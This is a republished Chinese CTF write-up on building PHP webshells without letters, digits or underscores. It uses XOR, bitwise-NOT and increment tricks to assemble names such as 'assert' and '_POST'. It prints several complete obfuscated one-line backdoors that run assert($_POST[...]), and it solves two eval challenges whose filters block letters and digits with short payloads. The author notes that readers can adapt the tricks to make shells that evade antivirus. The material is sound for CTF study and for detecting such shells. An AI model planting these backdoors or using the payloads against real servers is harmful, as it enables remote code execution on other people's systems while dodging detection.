专栏首页信安之路php 不用字母,数字和下划线写 shell

php 不用字母,数字和下划线写 shell

本文作者:微笑(信安之路 CTF 小组成员)

先膜一波 p 师傅的文章 《一些不包含数字和字母的 webshell》

https://www.leavesongs.com/penetration/webshell-without-alphanum.html

还有这个师傅的 《记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)》

https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

太强了。这篇文章是在两位师傅文章的基础上写的。

CTF 遇到一道正则过滤了字母,数字和下划线的题目,发现了一些 PHP 的骚姿势,感觉很有必要总结一下。

另外声明这篇文章不是为了讲如何写免杀,而是讲一些骚姿势在 CTF 中的应用,不过师傅们当然可以自己利用这些姿势去构造自己的免杀。

前置知识

PHP中异或 (^) 的概念

<?php
   echo"A"^"?";
?>

输出的结果是字符 "~",这是因为代码对字符 "A" 和字符 "?" 进行了异或操作。在 PHP 中两个变量进行异或时,会先将字符串转换成 ASCII 值,再将 ASCII 值转换成二进制再进行异或,异或完又将结果从二进制转换成ASCII值,再转换成字符串。

A 的 ASCII 值是 65,对应的二进制值是 01000001

? 的 ASCII 值是 63,对应的二进制值是 00111111

异或的二进制的值是 10000000

二进制对应的 ASCII 为 126,也就是字符 "~"

例如非数字字母的 PHP 后门

<?php
   @$_++; // $_ = 1
   $__=("#"^"|"); // $__ = _
   $__.=("."^"~"); // _P
   $__.=("/"^"`"); // _PO
   $__.=("|"^"/"); // _POS
   $__.=("{"^"/"); // _POST 
   ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

甚至可以将上面的代码合并为一行,从而使程序的可读性更差:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");

PHP 中取反 (~) 的概念

来看一个汉字 "和"

>>>print("和".encode('utf8'))
b'\xe5\x92\x8c'
>>>print("和".encode('utf8')[2])
140
>>>print(~"和".encode('utf8')[2])
-141

"和" 的第三个字节的值为 140[0x8c],取反的值为 -141

负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141 的 16 进制为 0xff73,php 中 chr(0xff73)==115,115 就是 s 的 ASCII 值。因此

<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>

两个写法性质一样

结果会输出: ss

不用数字构造出数字

利用了 PHP 弱类型特性,true 的值为 1,故 true+true==2。

$_=('>'>'<')+('>'>'<')
print($_)
print($_/$_)

结果会输出:2 1

在 php 中未定义的变量默认值为 null,null==false==0,所以我们能够在不使用任何数字的情况下通过对未定义变量的自增操作来得到一个数字。

<?php
$_++;
print($_);
?>

结果会输出:1

不用数字和字母的 shell

在讲不用数字,字母和下划线写 shell 之前,先了解下不用数字和字母写 shell。毕竟学习都是循序渐进的。而且用不用下划线其实问题不大,因为 PHP 太灵活了。代码:

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
 eval($_GET['shell']);
}

思路

将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符。然后再利用 PHP 允许动态函数执行的特点,拼接处一个函数名,如 "assert",然后动态执行即可。

非字母、数字的字符异或出字母

不可打印字符,用 url 编码表示。

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

还可以用更短的字符,下面会用到。

"`{{{"^"?<>/"//_GET

^ 会对两边对应的字符串进行异或。

非字母、数字的字符取反出字母

利用的是 UTF-8 编码的某个汉字,将其中的某个字符取出来,取反为字母。一个汉字的 utf8 是三个字节,{2} 表示第 3 个字节

<?php
header("Content-Type:text/html;charset=utf-8");
$__=('>'>'<')+('>'>'<');//$__=2
$_=$__/$__;//$_=1
$___="瞰";
$____="和";
print(~($___{$_}));
echo"<br>";
print(~($____{$__}));

payload

<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST

$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])

这里也有一种简短的写法 ${~"\xa0\xb8\xba\xab"} 它等于 $_GET。这里相当于直接把 utf8 编码的某个字节提取出来统一进行取反。

php 递增/递减运算符

这种方法很明显的缺点就是需要大量的字符。

'a'++ => 'b','b'++ => 'c',我们只要能拿到一个变量,其值为 a,通过自增操作即可获得 a-z 中所有字符。

数组(Array)的第一个字母就是大写 A,而且第 4 个字母是小写 a。在 PHP 中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为 Array。再取这个字符串的第一个字母,就可以获得 'A'。

因为 PHP 函数是大小写不敏感的,最终执行的是 ASSERT($POST[]),无需获取小写 a。

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

不用数字和字母写 shell 的实例

<?php
include'flag.php';
if(isset($_GET['code'])){
   $code=$_GET['code'];
   if(strlen($code)>40){
       die("Long.");
  }
   if(preg_match("/[A-Za-z0-9]+/",$code)){
       die("NO.");
  }
   @eval($code);
}else{
   highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

要求 code 的长度不能大于 40,限制输入不能为字母和数字。可以利用 PHP 允许动态函数执行的特点,拼接出一个函数名 getFlag(),然后动态执行即可。

这里依然可以用异或的方法,只是上面写出来的字符长度太长了。需要用简短的写法:

payload

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

这里的 "`{{{"^"?<>/"上面已经说过了是异或的简短写法,表示_GET。

${$_}[_](${$_}[__]);等于 $_GET[_]($_GET[__]);

把_当作参数传进去执行 getFlag()

这道题当然也可以用取反的方法,不过下面会讲到,这里就不再重复。

不用数字,字母和下划线写 shell 的实例

<?php

include'flag.php';

if(isset($_GET['code'])){
   $code=$_GET['code'];
   if(strlen($code)>50){
       die("Too Long.");
  }
   if(preg_match("/[A-Za-z0-9_]+/",$code)){
       die("Not Allowed.");
  }
   @eval($code);
}else{
   highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?> 

下划线都不给,这就很恐怖了。意味着不能定义变量,而且也构造不出来数字。不过在PHP的灵活性面前,问题不大。

这是一开始学长给的 payload,+号 必须加引号

"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();

51 个字符太长了,所以这里可以用简短的写法

('$').("`{{{"^"?<>/").(['+'])&+=getFlag();

不过这样不能成功。

学长给出了解释:eval 只能解析一遍代码,所以如果写的是 a.b 这样的字符串拼接,就只会执行这个拼接,并不会去执行代码

例如:

eval($_GET['b'])url 里面 b=phpinfo();这时候相当于 eval('phpinfo();')

eval($_GET['b'])url 里面 b=$_GET[c]&c=phpinfo();相当于 eval('$_GET[c]')

上面的 payload 是 code=$_GET['+']&+=getFlag();也就是 eval('$_GET['+']) 并不会执行 getFlag();

正确的 payload 为:

${"`{{{"^"?<>/"}['+']();&+=getFlag

这里利用了 ${} 中的代码是可以执行的特点,其实也就是可变变量。

<?php
   $a='hello';
   $$a='world';
   echo"$a${$a}";
?>

输出:helloworld

${$a},括号中的 $a是可以执行的,变成了 hello。

payload 中的 {} 也是这个原理,{} 中用的是异或,^ 在 {} 中被执行了,也就是上面讲的 "`{{{"^"?<>/" 执行了异或操作,相当于 _GET。

最后 eval 函数拼接出了字符串 `$_GET'+'`;,然后传入 +=getFlag,最后执行了函数 getFlag();

429 大佬给出的 payload:

http://localhost/getflag.php?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag

这里用的是取反

~ 在 {} 中执行了取反操作,所以 ${~"\xa0\xb8\xba\xab"} 取反相当于 $_GET

跟上面的 payload 一个原理,拼接出了 $_GET['+']();,传入 +=getFlag() 从而执行了函数。

还有一种拼接的 payload:

code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();

原理大同小异,$啊=getFlag;$啊();,这里就不需要用 {} 了,因为取反的值直接被当作字符串赋值给了 $ 啊。

总结

PHP 是弱类型的语言,因此我们可以利用这个特点进行许多非常规的操作,也就是利用各种骚姿势来达到同一个目的。不过随着 PHP 版本的变化,php 的一些特性也会变化,例如 php5 中 assert 是一个函数,但 php7 中,assert 不再是函数,变成了一个语言结构(类似 eval),不能再作为函数名动态执行代码。因此我们要多熟悉 php 不同版本的差异。

文章分享自微信公众号:
信安之路

本文参与 腾讯云自媒体分享计划 ,欢迎热爱写作的你一起参与!

如有侵权,请联系 cloudcommunity@tencent.com 删除。
登录 后参与评论
0 条评论

相关文章

  • js正则匹配数字、大小写字母、下划线、中线和点[通俗易懂]

    发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/151757.html原文链接:https://javaforall.cn

    全栈程序员站长
  • 老生常谈的无字母数字Webshell总结

    无字母数字 Webshell 是个老生常谈的东西了,之前打 CTF 的时候也经常会遇到,每次都让我头大。由于一直没有去系统的研究过这个东西,今天就好好学习学习。

    FB客服
  • Web安全 | 无字母数字Webshell 总结

    无字母数字 Webshell 是个老生常谈的东西了,之前打 CTF 的时候也经常会遇到,每次都让我头大。由于一直没有去系统的研究过这个东西,今天就好好学习学习。

    HACK学习
  • 英语不好,能看懂编程吗?

    学会编程不需要多高深的英语水平,想要学会编程,简单的英语水平足够了,现在的程序开发环境又很友好,基本上打开之后不需要怎么配置,直接写代码就行,程序语言无外乎顺序...

    企鹅号小编
  • python学习总结二(python基础

    转眼间已经2月份了,python学习总结二进行中ing,今年的目标和打算。。。哎动力哪来,继续吧。

    py3study
  • 3.29 PHP基础知识 标记的5种写法、注释、命名规则等

    3,4为短标识,当使用他们需要开启php.ini文件中的short_open_tag,不然会报错,请知晓!

    德顺
  • [网络安全] 三十六.津门杯CTF Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)

    (1) 我们从github下载dirsearch工具(Python脚本),这是一个目录扫描工具,目的是扫描网站的敏感文件和目录从而找到突破口。

    Eastmount
  • PHP语法和PHP变量

    在一个后缀为.php的文件立马,以<?php ?>开始和结束的文件,就是php标记文件,具体格式如下:

    conanma
  • python 简介

    python 是脚本语言。python 是一种面向对象的解释型计算机程序设计语言。语法简洁清晰,特色之一是强制用空白符作为语句缩进。

    清菡
  • BUU-WEB-第三章

    这道题说是白给了,那就直接冲! 分析一波题目: 拿到题目先看URL再看网页面,四处点击看看有没有什么可点击的地方,然后再看下网页源代码,这是做WEB题的纪律性习...

    Baige
  • PHP全栈学习笔记15

    将short_open_tag和asp_tags 都设置为ON,重启Apache服务器即可

    达达前端
  • Shell 变量

    变量名外面的花括号是可选的,加不加都行,加花括号是为了帮助解释器识别变量的边界,比如下面这种情况:

    小小工匠
  • Linux之shell编程基础

    变量名的规范 注意,变量名后面的等号左右不能有空格,这可能和你熟悉的所有编程语言都不一样。同时,变量名的命名须遵循如下规则:

    兮动人
  • Smarty模板语法详解

    smarty注释不会在模板文件的最后输出中出现,这与不同(译注:html注释在页面源码中可见,而smarty注释则不能)。

    砸漏
  • 前端基础-JavaScript中正则对象

    test方法检测目标字符串和正则表达式是否匹配,如果匹配返回true,不匹配返回false。

    cwl_java
  • 一篇文章教你快速了解并使用Python基础语法

    首先必须说明的是,Python语言在任何场景都严格区分大小写!也就是说A和a代表的意义完全不同

    汤贤
  • python变量和变量赋值的几种形式

    实际上,python中的变量仅仅只是用来保存一个数据对象的地址。无论是什么数据对象,在内存中创建好数据对象之后,都只是把它的地址保存到变量名中。所以变量名是类型...

    py3study
  • bash命令使用详解

    在Linux上采用bash作为标准,基本上它描述了对带有“.sh”扩展名的vi编辑器等文本的处理并执行。

    砸漏

扫码关注腾讯云开发者

领取腾讯云代金券